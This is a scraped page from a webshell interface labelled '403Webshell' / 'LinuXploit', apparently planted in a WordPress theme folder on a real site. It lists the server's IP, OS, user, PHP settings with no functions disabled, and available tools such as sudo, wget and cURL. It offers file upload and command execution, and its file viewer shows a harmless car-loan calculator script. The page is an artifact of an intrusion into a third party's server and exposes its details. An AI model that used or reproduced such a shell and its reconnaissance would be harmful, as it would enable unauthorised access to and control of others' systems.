403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/auto.mitrofanov.ru/public/wp-content/themes/greenshift/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/auto.mitrofanov.ru/public/wp-content/themes/greenshift//my.min.js
const rentDay=document.getElementById("rentDay"),priceAuto=document.getElementById("priceAuto"),firstPaySlider=document.getElementById("firstPaySlider"),firstPayInput=document.getElementById("firstPayInput"),autoCalcPrice=document.getElementById("autoCalcPrice"),calcForm=document.getElementById("calcForm"),ranges=calcForm.querySelectorAll('input[type="range"]'),texts=calcForm.querySelectorAll('input[type="text"]'),payDay=document.getElementById("payDay"),sumDay=document.getElementById("sumDay"),payWeek=document.getElementById("payWeek"),rentWeek=document.getElementById("rentWeek"),sumWeek=document.getElementById("sumWeek"),loanButtons=document.getElementById("loanButtons");texts.forEach(function(a){a.value=toSpace(a.value),a.addEventListener("input",function(e){a.value=a.value.replaceAll(/\D/g,"");var t=parseInt(a.max);parseInt(a.value)>t&&(a.value=t),"priceAuto"==a.id&&setRent(a.value),a.closest("div").querySelectorAll('input[type="range"]')[0].value=a.value,a.value=new Intl.NumberFormat("fr-FR").format(a.value),calculator()})}),ranges.forEach(function(e){e.addEventListener("input",function(){e.closest("div").querySelectorAll('input[type="text"]')[0].value=toSpace(e.value),"autoCalcPrice"==e.id&&setRent(e.value),calculator()},!1)}),loanButtons.querySelectorAll('input[type="radio"]').forEach(function(e){e.addEventListener("click",function(e){calculator()})});let val=7e4;function setRent(e){var t=7e4<=.1*(e=Math.round(e))?.1*e:7e4,a=.9*e;(val=val<t?t:val)>a&&(val=a),val=Math.round(val),firstPaySlider.value=val,firstPayInput.value=val.toString().replace(/\B(?=(\d{3})+(?!\d))/g," "),firstPaySlider.max=Math.round(e-.1*e),firstPayInput.max=Math.round(e-.1*e),firstPaySlider.min=7e4<=.1*e?Math.round(.1*e):7e4,firstPayInput.min=7e4<=.1*e?Math.round(.1*e):7e4}function toSpace(e){e=parseFloat(e.replace(/ /g,""));return new Intl.NumberFormat("fr-FR").format(e)}function calculator(){var e=autoCalcPrice.value,t=firstPaySlider.value,a=loanButtons.querySelector('input[name="radio"]:checked').value,t=Math.round((e-t)/(365*a)),a=Math.round(.001*e),e=Math.round(t+a),n=7*t,r=7*a,l=7*e;payDay.innerHTML=t.toString().replace(/\B(?=(\d{3})+(?!\d))/g," "),rentDay.innerHTML=a.toString().replace(/\B(?=(\d{3})+(?!\d))/g," "),sumDay.innerHTML=e.toString().replace(/\B(?=(\d{3})+(?!\d))/g," "),payWeek.innerHTML=n.toString().replace(/\B(?=(\d{3})+(?!\d))/g," "),rentWeek.innerHTML=r.toString().replace(/\B(?=(\d{3})+(?!\d))/g," "),sumWeek.innerHTML=l.toString().replace(/\B(?=(\d{3})+(?!\d))/g," ")}

Youez - 2016 - github.com/yon3zu
LinuXploit